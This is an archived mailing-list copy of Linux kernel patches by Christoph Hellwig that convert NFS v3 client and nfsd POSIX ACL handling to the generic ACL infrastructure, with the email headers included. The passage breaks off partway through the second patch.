generic posix ACL infrastructure for v3 Posix ACLs References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 18/21] nfs: use generic posix ACL infrastructure for v3 Posix ACLs Content-Disposition: inline; filename=0018-nfs-use-generic-posix-ACL-infrastructure-for-v3-Posi.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545936 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This causes a small behaviour change in that we don't bother to set ACLs on file creation if the mode bit can express the access permissions fully, and thus behaving identical to local filesystems. Signed-off-by: Christoph Hellwig --- fs/nfs/inode.c | 4 - fs/nfs/nfs3acl.c | 291 +++++++++--------------------------------------- fs/nfs/nfs3proc.c | 76 +++++++++---- fs/nfs/nfs3super.c | 3 + include/linux/nfs_fs.h | 24 ++-- 5 files changed, 117 insertions(+), 281 deletions(-) diff --git a/fs/nfs/inode.c b/fs/nfs/inode.c index 00ad1c2..ecd11ba 100644 --- a/fs/nfs/inode.c +++ b/fs/nfs/inode.c @@ -1641,10 +1641,6 @@ struct inode *nfs_alloc_inode(struct super_block *sb) return NULL; nfsi->flags = 0UL; nfsi->cache_validity = 0UL; -#ifdef CONFIG_NFS_V3_ACL - nfsi->acl_access = ERR_PTR(-EAGAIN); - nfsi->acl_default = ERR_PTR(-EAGAIN); -#endif #if IS_ENABLED(CONFIG_NFS_V4) nfsi->nfs4_acl = NULL; #endif /* CONFIG_NFS_V4 */ diff --git a/fs/nfs/nfs3acl.c b/fs/nfs/nfs3acl.c index e859675..9a5ca03 100644 --- a/fs/nfs/nfs3acl.c +++ b/fs/nfs/nfs3acl.c @@ -10,179 +10,7 @@ #define NFSDBG_FACILITY NFSDBG_PROC -ssize_t nfs3_listxattr(struct dentry *dentry, char *buffer, size_t size) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int pos=0, len=0; - -# define output(s) do { \ - if (pos + sizeof(s) <= size) { \ - memcpy(buffer + pos, s, sizeof(s)); \ - pos += sizeof(s); \ - } \ - len += sizeof(s); \ - } while(0) - - acl = nfs3_proc_getacl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - output("system.posix_acl_access"); - posix_acl_release(acl); - } - - if (S_ISDIR(inode->i_mode)) { - acl = nfs3_proc_getacl(inode, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - output("system.posix_acl_default"); - posix_acl_release(acl); - } - } - -# undef output - - if (!buffer || len <= size) - return len; - return -ERANGE; -} - -ssize_t nfs3_getxattr(struct dentry *dentry, const char *name, - void *buffer, size_t size) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int type, error = 0; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - acl = nfs3_proc_getacl(inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - if (type == ACL_TYPE_ACCESS && acl->a_count == 0) - error = -ENODATA; - else - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - } else - error = -ENODATA; - - return error; -} - -int nfs3_setxattr(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int type, error; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - error = nfs3_proc_setacl(inode, type, acl); - posix_acl_release(acl); - - return error; -} - -int nfs3_removexattr(struct dentry *dentry, const char *name) -{ - struct inode *inode = dentry->d_inode; - int type; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - return nfs3_proc_setacl(inode, type, NULL); -} - -static void __nfs3_forget_cached_acls(struct nfs_inode *nfsi) -{ - if (!IS_ERR(nfsi->acl_access)) { - posix_acl_release(nfsi->acl_access); - nfsi->acl_access = ERR_PTR(-EAGAIN); - } - if (!IS_ERR(nfsi->acl_default)) { - posix_acl_release(nfsi->acl_default); - nfsi->acl_default = ERR_PTR(-EAGAIN); - } -} - -void nfs3_forget_cached_acls(struct inode *inode) -{ - dprintk("NFS: nfs3_forget_cached_acls(%s/%ld)\n", inode->i_sb->s_id, - inode->i_ino); - spin_lock(&inode->i_lock); - __nfs3_forget_cached_acls(NFS_I(inode)); - spin_unlock(&inode->i_lock); -} - -static struct posix_acl *nfs3_get_cached_acl(struct inode *inode, int type) -{ - struct nfs_inode *nfsi = NFS_I(inode); - struct posix_acl *acl = ERR_PTR(-EINVAL); - - spin_lock(&inode->i_lock); - switch(type) { - case ACL_TYPE_ACCESS: - acl = nfsi->acl_access; - break; - - case ACL_TYPE_DEFAULT: - acl = nfsi->acl_default; - break; - - default: - goto out; - } - if (IS_ERR(acl)) - acl = ERR_PTR(-EAGAIN); - else - acl = posix_acl_dup(acl); -out: - spin_unlock(&inode->i_lock); - dprintk("NFS: nfs3_get_cached_acl(%s/%ld, %d) = %p\n", inode->i_sb->s_id, - inode->i_ino, type, acl); - return acl; -} - -static void nfs3_cache_acls(struct inode *inode, struct posix_acl *acl, - struct posix_acl *dfacl) -{ - struct nfs_inode *nfsi = NFS_I(inode); - - dprintk("nfs3_cache_acls(%s/%ld, %p, %p)\n", inode->i_sb->s_id, - inode->i_ino, acl, dfacl); - spin_lock(&inode->i_lock); - __nfs3_forget_cached_acls(NFS_I(inode)); - if (!IS_ERR(acl)) - nfsi->acl_access = posix_acl_dup(acl); - if (!IS_ERR(dfacl)) - nfsi->acl_default = posix_acl_dup(dfacl); - spin_unlock(&inode->i_lock); -} - -struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) +struct posix_acl *nfs3_get_acl(struct inode *inode, int type) { struct nfs_server *server = NFS_SERVER(inode); struct page *pages[NFSACL_MAXPAGES] = { }; @@ -198,7 +26,6 @@ struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) .rpc_argp = &args, .rpc_resp = &res, }; - struct posix_acl *acl; int status, count; if (!nfs_server_capable(inode, NFS_CAP_ACLS)) @@ -207,10 +34,6 @@ struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) status = nfs_revalidate_inode(server, inode); if (status < 0) return ERR_PTR(status); - acl = nfs3_get_cached_acl(inode, type); - if (acl != ERR_PTR(-EAGAIN)) - return acl; - acl = NULL; /* * Only get the access acl when explicitly requested: We don't @@ -257,40 +80,41 @@ struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) } if (res.acl_access != NULL) { - if (posix_acl_equiv_mode(res.acl_access, NULL) == 0) { + if (posix_acl_equiv_mode(res.acl_access, NULL) || + res.acl_access->a_count == 0) { posix_acl_release(res.acl_access); res.acl_access = NULL; } } - nfs3_cache_acls(inode, - (res.mask & NFS_ACL) ? res.acl_access : ERR_PTR(-EINVAL), - (res.mask & NFS_DFACL) ? res.acl_default : ERR_PTR(-EINVAL)); - switch(type) { - case ACL_TYPE_ACCESS: - acl = res.acl_access; - res.acl_access = NULL; - break; + if (res.mask & NFS_ACL) + set_cached_acl(inode, ACL_TYPE_ACCESS, res.acl_access); + else + forget_cached_acl(inode, ACL_TYPE_ACCESS); - case ACL_TYPE_DEFAULT: - acl = res.acl_default; - res.acl_default = NULL; + if (res.mask & NFS_DFACL) + set_cached_acl(inode, ACL_TYPE_DEFAULT, res.acl_default); + else + forget_cached_acl(inode, ACL_TYPE_DEFAULT); + + nfs_free_fattr(res.fattr); + if (type == ACL_TYPE_ACCESS) { + posix_acl_release(res.acl_default); + return res.acl_access; + } else { + posix_acl_release(res.acl_access); + return res.acl_default; } getout: posix_acl_release(res.acl_access); posix_acl_release(res.acl_default); nfs_free_fattr(res.fattr); - - if (status != 0) { - posix_acl_release(acl); - acl = ERR_PTR(status); - } - return acl; + return ERR_PTR(status); } -static int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, - struct posix_acl *dfacl) +int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, + struct posix_acl *dfacl) { struct nfs_server *server = NFS_SERVER(inode); struct nfs_fattr *fattr; @@ -353,7 +177,8 @@ static int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, switch (status) { case 0: status = nfs_refresh_inode(inode, fattr); - nfs3_cache_acls(inode, acl, dfacl); + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + set_cached_acl(inode, ACL_TYPE_DEFAULT, dfacl); break; case -EPFNOSUPPORT: case -EPROTONOSUPPORT: @@ -373,33 +198,27 @@ out: return status; } -int nfs3_proc_setacl(struct inode *inode, int type, struct posix_acl *acl) +int nfs3_set_acl(struct inode *inode, struct posix_acl *acl, int type) { struct posix_acl *alloc = NULL, *dfacl = NULL; int status; if (S_ISDIR(inode->i_mode)) { switch(type) { - case ACL_TYPE_ACCESS: - alloc = dfacl = nfs3_proc_getacl(inode, - ACL_TYPE_DEFAULT); - if (IS_ERR(alloc)) - goto fail; - break; - - case ACL_TYPE_DEFAULT: - dfacl = acl; - alloc = acl = nfs3_proc_getacl(inode, - ACL_TYPE_ACCESS); - if (IS_ERR(alloc)) - goto fail; - break; - - default: - return -EINVAL; + case ACL_TYPE_ACCESS: + alloc = dfacl = get_acl(inode, ACL_TYPE_DEFAULT); + if (IS_ERR(alloc)) + goto fail; + break; + + case ACL_TYPE_DEFAULT: + dfacl = acl; + alloc = acl = get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR(alloc)) + goto fail; + break; } - } else if (type != ACL_TYPE_ACCESS) - return -EINVAL; + } if (acl == NULL) { alloc = acl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); @@ -417,24 +236,24 @@ fail: int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, umode_t mode) { - struct posix_acl *dfacl, *acl; - int error = 0; + struct posix_acl *default_acl, *acl; + int error; - dfacl = nfs3_proc_getacl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(dfacl)) { - error = PTR_ERR(dfacl); + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) return (error == -EOPNOTSUPP) ? 0 : error; - } - if (!dfacl) - return 0; - acl = posix_acl_dup(dfacl); - error = __posix_acl_create(&acl, GFP_KERNEL, &mode); - if (error < 0) - goto out_release_dfacl; - error = nfs3_proc_setacls(inode, acl, S_ISDIR(inode->i_mode) ? - dfacl : NULL); - posix_acl_release(acl); -out_release_dfacl: - posix_acl_release(dfacl); + + error = nfs3_proc_setacls(inode, acl, default_acl); + + if (acl) + posix_acl_release(acl); + if (default_acl) + posix_acl_release(default_acl); return error; } + +const struct xattr_handler *nfs3_xattr_handlers[] = { + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, + NULL, +}; diff --git a/fs/nfs/nfs3proc.c b/fs/nfs/nfs3proc.c index 01b6f6a..d2255d7 100644 --- a/fs/nfs/nfs3proc.c +++ b/fs/nfs/nfs3proc.c @@ -317,8 +317,8 @@ static int nfs3_proc_create(struct inode *dir, struct dentry *dentry, struct iattr *sattr, int flags) { + struct posix_acl *default_acl, *acl; struct nfs3_createdata *data; - umode_t mode = sattr->ia_mode; int status = -ENOMEM; dprintk("NFS call create %pd\n", dentry); @@ -340,7 +340,9 @@ nfs3_proc_create(struct inode *dir, struct dentry *dentry, struct iattr *sattr, data->arg.create.verifier[1] = cpu_to_be32(current->pid); } - sattr->ia_mode &= ~current_umask(); + status = posix_acl_create(dir, &sattr->ia_mode, &default_acl, &acl); + if (status) + goto out; for (;;) { status = nfs3_do_create(dir, dentry, data); @@ -366,7 +368,7 @@ nfs3_proc_create(struct inode *dir, struct dentry *dentry, struct iattr *sattr, } if (status != 0) - goto out; + goto out_release_acls; /* When we created the file with exclusive semantics, make * sure we set the attributes afterwards. */ @@ -385,9 +387,14 @@ nfs3_proc_create(struct inode *dir, struct dentry *dentry, struct iattr *sattr, nfs_post_op_update_inode(dentry->d_inode, data->res.fattr); dprintk("NFS reply setattr (post-create): %d\n", status); if (status != 0) - goto out; + goto out_release_acls; } - status = nfs3_proc_set_default_acl(dir, dentry->d_inode, mode); + + status = nfs3_proc_setacls(dentry->d_inode, acl, default_acl); + +out_release_acls: + posix_acl_release(acl); + posix_acl_release(default_acl); out: nfs3_free_createdata(data); dprintk("NFS reply create: %d\n", status); @@ -572,18 +579,20 @@ out: static int nfs3_proc_mkdir(struct inode *dir, struct dentry *dentry, struct iattr *sattr) { + struct posix_acl *default_acl, *acl; struct nfs3_createdata *data; - umode_t mode = sattr->ia_mode; int status = -ENOMEM; dprintk("NFS call mkdir %pd\n", dentry); - sattr->ia_mode &= ~current_umask(); - data = nfs3_alloc_createdata(); if (data == NULL) goto out; + status = posix_acl_create(dir, &sattr->ia_mode, &default_acl, &acl); + if (status) + goto out; + data->msg.rpc_proc = &nfs3_procedures[NFS3PROC_MKDIR]; data->arg.mkdir.fh = NFS_FH(dir); data->arg.mkdir.name = dentry->d_name.name; @@ -592,9 +601,13 @@ nfs3_proc_mkdir(struct inode *dir, struct dentry *dentry, struct iattr *sattr) status = nfs3_do_create(dir, dentry, data); if (status != 0) - goto out; + goto out_release_acls; - status = nfs3_proc_set_default_acl(dir, dentry->d_inode, mode); + status = nfs3_proc_setacls(dentry->d_inode, acl, default_acl); + +out_release_acls: + posix_acl_release(acl); + posix_acl_release(default_acl); out: nfs3_free_createdata(data); dprintk("NFS reply mkdir: %d\n", status); @@ -691,19 +704,21 @@ static int nfs3_proc_mknod(struct inode *dir, struct dentry *dentry, struct iattr *sattr, dev_t rdev) { + struct posix_acl *default_acl, *acl; struct nfs3_createdata *data; - umode_t mode = sattr->ia_mode; int status = -ENOMEM; dprintk("NFS call mknod %pd %u:%u\n", dentry, MAJOR(rdev), MINOR(rdev)); - sattr->ia_mode &= ~current_umask(); - data = nfs3_alloc_createdata(); if (data == NULL) goto out; + status = posix_acl_create(dir, &sattr->ia_mode, &default_acl, &acl); + if (status) + goto out; + data->msg.rpc_proc = &nfs3_procedures[NFS3PROC_MKNOD]; data->arg.mknod.fh = NFS_FH(dir); data->arg.mknod.name = dentry->d_name.name; @@ -731,8 +746,13 @@ nfs3_proc_mknod(struct inode *dir, struct dentry *dentry, struct iattr *sattr, status = nfs3_do_create(dir, dentry, data); if (status != 0) - goto out; - status = nfs3_proc_set_default_acl(dir, dentry->d_inode, mode); + goto out_release_acls; + + status = nfs3_proc_setacls(dentry->d_inode, acl, default_acl); + +out_release_acls: + posix_acl_release(acl); + posix_acl_release(default_acl); out: nfs3_free_createdata(data); dprintk("NFS reply mknod: %d\n", status); @@ -904,20 +924,28 @@ static const struct inode_operations nfs3_dir_inode_operations = { .permission = nfs_permission, .getattr = nfs_getattr, .setattr = nfs_setattr, - .listxattr = nfs3_listxattr, - .getxattr = nfs3_getxattr, - .setxattr = nfs3_setxattr, - .removexattr = nfs3_removexattr, + .listxattr = generic_listxattr, + .getxattr = generic_getxattr, + .setxattr = generic_setxattr, + .removexattr = generic_removexattr, +#ifdef CONFIG_NFS_V3_ACL + .get_acl = nfs3_get_acl, + .set_acl = nfs3_set_acl, +#endif }; static const struct inode_operations nfs3_file_inode_operations = { .permission = nfs_permission, .getattr = nfs_getattr, .setattr = nfs_setattr, - .listxattr = nfs3_listxattr, - .getxattr = nfs3_getxattr, - .setxattr = nfs3_setxattr, - .removexattr = nfs3_removexattr, + .listxattr = generic_listxattr, + .getxattr = generic_getxattr, + .setxattr = generic_setxattr, + .removexattr = generic_removexattr, +#ifdef CONFIG_NFS_V3_ACL + .get_acl = nfs3_get_acl, + .set_acl = nfs3_set_acl, +#endif }; const struct nfs_rpc_ops nfs_v3_clientops = { @@ -965,7 +993,7 @@ const struct nfs_rpc_ops nfs_v3_clientops = { .commit_rpc_prepare = nfs3_proc_commit_rpc_prepare, .commit_done = nfs3_commit_done, .lock = nfs3_proc_lock, - .clear_acl_cache = nfs3_forget_cached_acls, + .clear_acl_cache = forget_all_cached_acls, .close_context = nfs_close_context, .have_delegation = nfs3_have_delegation, .return_delegation = nfs3_return_delegation, diff --git a/fs/nfs/nfs3super.c b/fs/nfs/nfs3super.c index cc471c7..d6a9894 100644 --- a/fs/nfs/nfs3super.c +++ b/fs/nfs/nfs3super.c @@ -12,6 +12,9 @@ static struct nfs_subversion nfs_v3 = { .rpc_vers = &nfs_version3, .rpc_ops = &nfs_v3_clientops, .sops = &nfs_sops, +#ifdef CONFIG_NFS_V3_ACL + .xattr = nfs3_xattr_handlers, +#endif }; static int __init init_nfs_v3(void) diff --git a/include/linux/nfs_fs.h b/include/linux/nfs_fs.h index 4899737..2b00625 100644 --- a/include/linux/nfs_fs.h +++ b/include/linux/nfs_fs.h @@ -154,10 +154,6 @@ struct nfs_inode { struct rb_root access_cache; struct list_head access_cache_entry_lru; struct list_head access_cache_inode_lru; -#ifdef CONFIG_NFS_V3_ACL - struct posix_acl *acl_access; - struct posix_acl *acl_default; -#endif /* * This is the cookie verifier used for NFSv3 readdir @@ -564,23 +560,17 @@ extern int nfs_readpage_async(struct nfs_open_context *, struct inode *, * linux/fs/nfs3proc.c */ #ifdef CONFIG_NFS_V3_ACL -extern struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type); -extern int nfs3_proc_setacl(struct inode *inode, int type, - struct posix_acl *acl); -extern int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, - umode_t mode); -extern void nfs3_forget_cached_acls(struct inode *inode); +extern struct posix_acl *nfs3_get_acl(struct inode *inode, int type); +extern int nfs3_set_acl(struct inode *inode, struct posix_acl *acl, int type); +extern int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, + struct posix_acl *dfacl); +extern const struct xattr_handler *nfs3_xattr_handlers[]; #else -static inline int nfs3_proc_set_default_acl(struct inode *dir, - struct inode *inode, - umode_t mode) +static inline int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, + struct posix_acl *dfacl) { return 0; } - -static inline void nfs3_forget_cached_acls(struct inode *inode) -{ -} #endif /* CONFIG_NFS_V3_ACL */ /* -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A39FC29E1A for ; Fri, 20 Dec 2013 07:25:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 254FDAC00A for ; Fri, 20 Dec 2013 05:25:41 -0800 (PST) X-ASG-Debug-ID: 1387545939-04cbb04167864460001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ptFunzwY9PQqaVdt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04y-0003Nc-RH; Fri, 20 Dec 2013 13:25:24 +0000 Message-Id: <20131220132524.724702292@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:55 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 20/21] nfsd: use get_acl and ->set_acl References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 20/21] nfsd: use get_acl and ->set_acl Content-Disposition: inline; filename=0020-nfsd-use-get_acl-and-set_acl.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545939 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Remove the boilerplate code to marshall and unmarhall ACL objects into xattrs and operate on the posix_acl objects directly. Also move all the ACL handling code into nfs?acl.c where it belongs. Signed-off-by: Christoph Hellwig --- fs/nfsd/acl.h | 16 ++-- fs/nfsd/nfs2acl.c | 72 +++++++++------- fs/nfsd/nfs3acl.c | 62 +++++++------- fs/nfsd/nfs4acl.c | 120 ++++++++++++++++++++------ fs/nfsd/nfs4proc.c | 1 + fs/nfsd/vfs.c | 241 ---------------------------------------------------- fs/nfsd/vfs.h | 8 -- 7 files changed, 173 insertions(+), 347 deletions(-) diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index 8b186a4..8b68218 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -35,7 +35,9 @@ #ifndef LINUX_NFS4_ACL_H #define LINUX_NFS4_ACL_H -#include +struct nfs4_acl; +struct svc_fh; +struct svc_rqst; /* Maximum ACL we'll accept from client; chosen (somewhat arbitrarily) to * fit in a page: */ @@ -45,13 +47,9 @@ struct nfs4_acl *nfs4_acl_new(int); int nfs4_acl_get_whotype(char *, u32); int nfs4_acl_write_who(int who, char *p); -#define NFS4_ACL_TYPE_DEFAULT 0x01 -#define NFS4_ACL_DIR 0x02 -#define NFS4_ACL_OWNER 0x04 - -struct nfs4_acl *nfs4_acl_posix_to_nfsv4(struct posix_acl *, - struct posix_acl *, unsigned int flags); -int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *, struct posix_acl **, - struct posix_acl **, unsigned int flags); +int nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct nfs4_acl **acl); +__be32 nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, + struct nfs4_acl *acl); #endif /* LINUX_NFS4_ACL_H */ diff --git a/fs/nfsd/nfs2acl.c b/fs/nfsd/nfs2acl.c index 95d76dc..11c1fba 100644 --- a/fs/nfsd/nfs2acl.c +++ b/fs/nfsd/nfs2acl.c @@ -30,8 +30,9 @@ nfsacld_proc_null(struct svc_rqst *rqstp, void *argp, void *resp) static __be32 nfsacld_proc_getacl(struct svc_rqst * rqstp, struct nfsd3_getaclargs *argp, struct nfsd3_getaclres *resp) { - svc_fh *fh; struct posix_acl *acl; + struct inode *inode; + svc_fh *fh; __be32 nfserr = 0; dprintk("nfsd: GETACL(2acl) %s\n", SVCFH_fmt(&argp->fh)); @@ -41,6 +42,8 @@ static __be32 nfsacld_proc_getacl(struct svc_rqst * rqstp, if (nfserr) RETURN_STATUS(nfserr); + inode = fh->fh_dentry->d_inode; + if (argp->mask & ~(NFS_ACL|NFS_ACLCNT|NFS_DFACL|NFS_DFACLCNT)) RETURN_STATUS(nfserr_inval); resp->mask = argp->mask; @@ -50,21 +53,13 @@ static __be32 nfsacld_proc_getacl(struct svc_rqst * rqstp, goto fail; if (resp->mask & (NFS_ACL|NFS_ACLCNT)) { - acl = nfsd_get_posix_acl(fh, ACL_TYPE_ACCESS); + acl = get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl)) { - int err = PTR_ERR(acl); - - if (err == -ENODATA || err == -EOPNOTSUPP) - acl = NULL; - else { - nfserr = nfserrno(err); - goto fail; - } + nfserr = nfserrno(PTR_ERR(acl)); + goto fail; } if (acl == NULL) { /* Solaris returns the inode's minimum ACL. */ - - struct inode *inode = fh->fh_dentry->d_inode; acl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); } resp->acl_access = acl; @@ -72,17 +67,10 @@ static __be32 nfsacld_proc_getacl(struct svc_rqst * rqstp, if (resp->mask & (NFS_DFACL|NFS_DFACLCNT)) { /* Check how Solaris handles requests for the Default ACL of a non-directory! */ - - acl = nfsd_get_posix_acl(fh, ACL_TYPE_DEFAULT); + acl = get_acl(inode, ACL_TYPE_DEFAULT); if (IS_ERR(acl)) { - int err = PTR_ERR(acl); - - if (err == -ENODATA || err == -EOPNOTSUPP) - acl = NULL; - else { - nfserr = nfserrno(err); - goto fail; - } + nfserr = nfserrno(PTR_ERR(acl)); + goto fail; } resp->acl_default = acl; } @@ -103,31 +91,51 @@ static __be32 nfsacld_proc_setacl(struct svc_rqst * rqstp, struct nfsd3_setaclargs *argp, struct nfsd_attrstat *resp) { + struct inode *inode; svc_fh *fh; __be32 nfserr = 0; + int error; dprintk("nfsd: SETACL(2acl) %s\n", SVCFH_fmt(&argp->fh)); fh = fh_copy(&resp->fh, &argp->fh); nfserr = fh_verify(rqstp, &resp->fh, 0, NFSD_MAY_SATTR); + if (nfserr) + goto out; - if (!nfserr) { - nfserr = nfserrno( nfsd_set_posix_acl( - fh, ACL_TYPE_ACCESS, argp->acl_access) ); - } - if (!nfserr) { - nfserr = nfserrno( nfsd_set_posix_acl( - fh, ACL_TYPE_DEFAULT, argp->acl_default) ); - } - if (!nfserr) { - nfserr = fh_getattr(fh, &resp->stat); + inode = fh->fh_dentry->d_inode; + if (!IS_POSIXACL(inode) || !inode->i_op->set_acl) { + error = -EOPNOTSUPP; + goto out_errno; } + error = fh_want_write(fh); + if (error) + goto out_errno; + + error = inode->i_op->set_acl(inode, argp->acl_access, ACL_TYPE_ACCESS); + if (error) + goto out_drop_write; + error = inode->i_op->set_acl(inode, argp->acl_default, + ACL_TYPE_DEFAULT); + if (error) + goto out_drop_write; + + fh_drop_write(fh); + + nfserr = fh_getattr(fh, &resp->stat); + +out: /* argp->acl_{access,default} may have been allocated in nfssvc_decode_setaclargs. */ posix_acl_release(argp->acl_access); posix_acl_release(argp->acl_default); return nfserr; +out_drop_write: + fh_drop_write(fh); +out_errno: + nfserr = nfserrno(error); + goto out; } /* diff --git a/fs/nfsd/nfs3acl.c b/fs/nfsd/nfs3acl.c index 9cbc1a8..adc5f1b 100644 --- a/fs/nfsd/nfs3acl.c +++ b/fs/nfsd/nfs3acl.c @@ -29,8 +29,9 @@ nfsd3_proc_null(struct svc_rqst *rqstp, void *argp, void *resp) static __be32 nfsd3_proc_getacl(struct svc_rqst * rqstp, struct nfsd3_getaclargs *argp, struct nfsd3_getaclres *resp) { - svc_fh *fh; struct posix_acl *acl; + struct inode *inode; + svc_fh *fh; __be32 nfserr = 0; fh = fh_copy(&resp->fh, &argp->fh); @@ -38,26 +39,20 @@ static __be32 nfsd3_proc_getacl(struct svc_rqst * rqstp, if (nfserr) RETURN_STATUS(nfserr); + inode = fh->fh_dentry->d_inode; + if (argp->mask & ~(NFS_ACL|NFS_ACLCNT|NFS_DFACL|NFS_DFACLCNT)) RETURN_STATUS(nfserr_inval); resp->mask = argp->mask; if (resp->mask & (NFS_ACL|NFS_ACLCNT)) { - acl = nfsd_get_posix_acl(fh, ACL_TYPE_ACCESS); + acl = get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl)) { - int err = PTR_ERR(acl); - - if (err == -ENODATA || err == -EOPNOTSUPP) - acl = NULL; - else { - nfserr = nfserrno(err); - goto fail; - } + nfserr = nfserrno(PTR_ERR(acl)); + goto fail; } if 